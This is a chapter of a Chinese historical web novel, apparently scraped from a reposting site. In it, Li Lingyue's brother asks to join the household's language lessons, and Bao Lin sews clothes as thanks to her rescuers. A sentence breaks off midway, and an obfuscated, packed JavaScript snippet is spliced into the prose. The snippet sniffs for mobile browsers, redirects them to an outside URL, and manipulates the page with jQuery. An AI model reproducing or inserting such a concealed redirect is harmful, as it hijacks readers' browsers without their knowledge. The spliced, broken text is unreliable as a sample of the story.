230. 礼
作品:《大周第一女译令》 李良宏甚是意外,霍啸雨此举出人意料,且让他们没有后顾之忧。
霍啸雨又道:“伯父的礼物比钱远昆和唐明安的多些,今回送来的礼物多,是因这其中还有给青曜和青祥的份。他们一直在市舶司相助,却没领朝廷的俸禄,因此我分了礼物给他们。他们不缺花销,留着赏人也好。今回的礼连罗掌旗与冯通译都有,便请勿推辞了。”
用过晚饭,霍啸雨带着人离去。
程氏让人清点了今日送来的礼物,对李良宏:“这样重的礼,当真让我不知如何是好。”
李良宏:“署提举虽有些不务正业,但这回这事处置得却很令我意外。广府各宗族送的礼,他不问厚薄全都收下了,虽说过后分给了市舶司众人,但果真与我们无涉。将来即便有人告到朝中去,也是由他来担当了。这思虑不可谓不周全。”
停了一停,他道:“署提举所言有理。俗语说千里为官只为财,市舶司众人虽不是冲着这些钱来的,但千里为官事事都要花银两,没有家中支持,那点儿俸禄哪够花销?一文钱尚且难死英雄汉,何况是离家千里。署提举此举,可是让私银成了官银,朝廷将来也不会追究,很是体恤下属。”
程氏:“私银成了官银,朝廷固然不会过问了。可万一有那有心人刁难,署提举岂不是要被为难?”
李良宏想了想:“这些物事先收起来,不要轻易动用。以防万一。”
将霍啸雨送来的礼物清点分明,已将交二鼓。
这些礼担还写了名字,以李灵钥的最多,占了一半以上。
李青祥笑道:“小弟所得最多,还都很是精致的物件,将来我没银子花了,就来向小弟讨两样去换银子使。”
李灵钥小嘴一撇:“做哥哥的本该给我礼物,也好意思向我要东西?”
李青祥小声问李灵钥:“你近来学那榜葛剌国言语学得如何?我,”
见李灵钥向他看来,李青祥微笑着:“我也想学上一学。从前跟着祖父时还懵懂,没能好生学。前两日路过你院门外,正好看到你们围坐在一起学言语,说得很是热烈。我也想学了。”
李灵钥:“这得问一问宝琳、阿利亚与西塔。她们若不介意与哥哥一同学习,那哥哥便来同学。她们若是介意,只怕要花些心思。哥哥怎会想学别的言语了?”
李青祥轻叹:“我是看你太辛苦了,深觉我无用。其次便是你说的对,我若能学得一门别国言语,哪怕是学会了广府话,将来科考时都很有助力。实则来到此间半年,如今广府话我也能听懂大半了,也会说几句。虽然音调奇怪,但也不是不行。回家来你们又学得热闹,我便想跟着学上一学,艺多不压身。”
李灵钥听了这话,当即笑问:“兄长可与此间人说过你学会的广府话了?”
李青祥点头:“与主文相公们说过几句。主文相公们甚好,都对我笑,还教我音韵。”
李灵钥当即对他行了个礼:“恭喜二哥哥,这是开了口了。听闻从前兄长跟着祖父学波斯语时,就是怎样也不肯开口。如今居然开口了,果真是大喜。”
李青祥有些赧然:“我不记得幼年的事了,但也听祖父说我不肯开口,因此没能学成。大约是我觉得波斯语的音韵太奇异,身边除了祖父又没人说这门语言,因此不肯学着说。我也没料到来到此间,耳濡目染,居然学会了些许广府话,还说出来了。”
李灵钥微笑:“虽然哥哥说的是广府方言,但也是开口。开了口后,便不怕别人笑话你的音韵奇异,便有了学异国言语与说异国言语的心力,必定能学得好。我会与她们好生说上一说,希望她们也愿意教你。”
回到后院,正屋内阿利亚、西塔和宝琳正在书案边说得热闹。
正屋内灯火通明,清泉也搬了椅子坐在一角就着灯光做针线。
阿利亚与西塔教宝琳榜葛剌语,宝琳则教她们广府言语。
李灵钥进来,她们都止住了。
宝琳先开了口:“你今日来得晚。我们知晓署提举来了,便没等你。”
李灵钥坐下,“我兄长也想来跟着学,不知你可介意?”
她这话先是对宝琳说的,宝琳意外,片刻后摇头:“我不介意。我如今不是从前的想法,何况我知晓你的兄长乃是极好的男儿,他愿意来跟随我们同学,那便一同学吧。”
李灵钥将兄长要学榜葛剌语对阿利亚与西塔说了一回,阿利亚想了想:“我不介意。西塔也不介意。”
李灵钥已想好了为兄长美言,没料到压根不用她出言,她们便同意了,愣在一边。
李灵钥与阿利亚这时说的都是大周北方官话,宝琳连猜带蒙猜着了,见李灵钥怔着,微笑着问:“我们都同意,你怎么反倒愣了?”
李灵钥:“我兄长毕竟是男子,他要学言语就得到后院来。你们也不觉不便?”
宝琳:“你的兄长与我们的兄长何异?我们都没有家,得你家老爷夫人怜惜能在此间栖身,我们很羡慕你。我也很想有一个怜惜我的兄长,但,”
她苦笑了一下:“我没你的福气,我只有要我怜惜关照的弟弟。”
宝琳说起往事,李灵钥没敢接上,宝琳也察觉了,叹了口气:“我真的很羡慕你,你的爹娘,你的兄长,连同你,我都羡慕。可惜我没有你的福气,不能生在这样的家中,也不能变成你。”
李灵钥看了她片刻:“那你将来的家大可像我如今的家一样。”
宝琳怔在当地,李灵钥:“你无法择选父母,但能将你将来的日子过成你喜欢的样子。你喜欢我家的情形,那就把你将来的家变成我家这样。”
宝琳想了片刻,点头:“你说的是。我该努力将将来的日子过成你家的情形。”
停了一停,她看着李灵钥:“我有一事想请你相助。”
她起身去往她住的厢房,片刻后捧着一个包裹来到。
她将包裹解开,内里是两件男子的长衣。
李灵钥看向宝琳,宝琳低着头:“这是我做的,前些日子家中采买布匹做夹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209626|177752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣,我拿银子请婶婶们帮采买了两匹布,给署提举和那位救我的侍卫大哥各做了一件夹衣。”
“我知晓署提举家世不凡,我没有别的心思,只是感激他救过我。实则你们救了我两回,我都记在心里。我很感激署提举大人与那位侍卫大哥,我没什么本事,便给他们各做了一件衣裳,以表谢意。能劳烦你帮我交给署提举大人与那位侍卫大哥么?”
“衣衫的长短我是猜度着做的,在家中我也常做针线,署提举与那位侍卫的身量我虽没量过,但我放了几寸,应当能穿得上。”
宝琳做的衣裳针脚细密,没有花巧,所用布料也只是寻常衣料,但做得甚是工整。
李灵钥知晓宝琳没有攀附之意,亲手做衣仅是对恩人聊表谢意。
她想了想:“有一事我要说与你。署提举的衣裳应当是他家中有人专门做了送来,不仅极是合身,还与他很是匹配。据说他从不穿别人做的衣裳,先前也有人给他送了冬日的衣衫鞋袜,他都赏给市舶司的兵士了。你花费了许多心思做成的衣裳,他也未必会穿。”
宝琳微微一笑:“署提举拿我做的衣裳去赏人也好!他收下了,便是收到我的感激了,至于他穿与不穿,我不放在心上。”
李灵钥见她思虑明白,当即点头:“我明日帮你送去。”
宝琳看着她:“我也记得你的恩情。虽说你家中有这么些巧人,我也为你做了几件衣裳,只是我做的是里衣小衫。我想着你的里衣小衫都不便让那许多人做,我便没问你就做了。你若不嫌弃,我拿来给你。你若嫌弃,就当我没说。”
李灵钥意外至极:“你还为我缝制了内衣小衫?”
宝琳轻声说道:“我不是不识好歹的人!你家老爷夫人,乃至你的兄长都是极好的好人,你更是好得让我惭愧。想起从前对你无礼,我便觉汗颜,便觉无颜面对你。幸而你心胸宽阔,并没与我计较。”
“我只会做些家中事务,你忙碌无暇针线,清泉跟着你也忙里忙外。我便想我为你做几件里衣,你也不会觉得我过逾了。但我还是要先与你说一说,你若觉得不妥,我就不拿出来了。”
李灵钥立时道:“快拿来我看一看。你给我做新衣裳我很高兴。”
宝琳为李灵钥做的里衣小衫都很合身,针脚细腻,接缝也极柔软,可见花了不少功夫。
宝琳:“我缝好后洗过,将接缝洗软了,你穿着不硌人。”
李灵钥微笑着:“宝琳姐姐,你可真好。我很喜欢,明日就穿上。”
宝琳:“我在家中时也常做针线,”
她忽然顿住了,李灵钥知晓她想起了在陈家时的情形。
李灵钥也不劝,起身去开了箱笼找出个小红布包,拿在手中来到宝琳面前,将红布包递给她。
宝琳不解其意,看了看红布包,又看向她。
李灵钥将红布包打开,内里是一枚桃木雕刻的发簪。
发簪并不华丽,没点缀珠玉,簪头上镌刻着吉字,样式简洁,男女皆可用。

